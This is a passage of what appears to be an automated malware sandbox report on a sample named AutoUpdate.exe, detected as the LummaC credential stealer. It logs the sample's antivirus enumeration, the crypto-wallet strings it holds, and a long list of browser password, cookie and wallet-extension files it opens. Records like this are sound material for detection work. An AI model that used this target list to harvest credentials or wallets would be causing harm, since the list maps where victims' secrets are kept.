Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\AutoUpdate.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\AutoUpdate.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: AutoUpdate.exe PID: 6332, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: AutoUpdate.exe, 00000000.00000002.2024866428.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: AutoUpdate.exe, 00000000.00000002.2024866428.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: AutoUpdate.exe, 00000000.00000003.1908154214.00000000008C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: AutoUpdate.exe, 00000000.00000002.2024866428.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: AutoUpdate.exe, 00000000.00000003.1908154214.00000000008C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: AutoUpdate.exe, 00000000.00000002.2024866428.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: AutoUpdate.exe, 00000000.00000003.1908154214.00000000008C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: AutoUpdate.exe, 00000000.00000003.1906472864.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
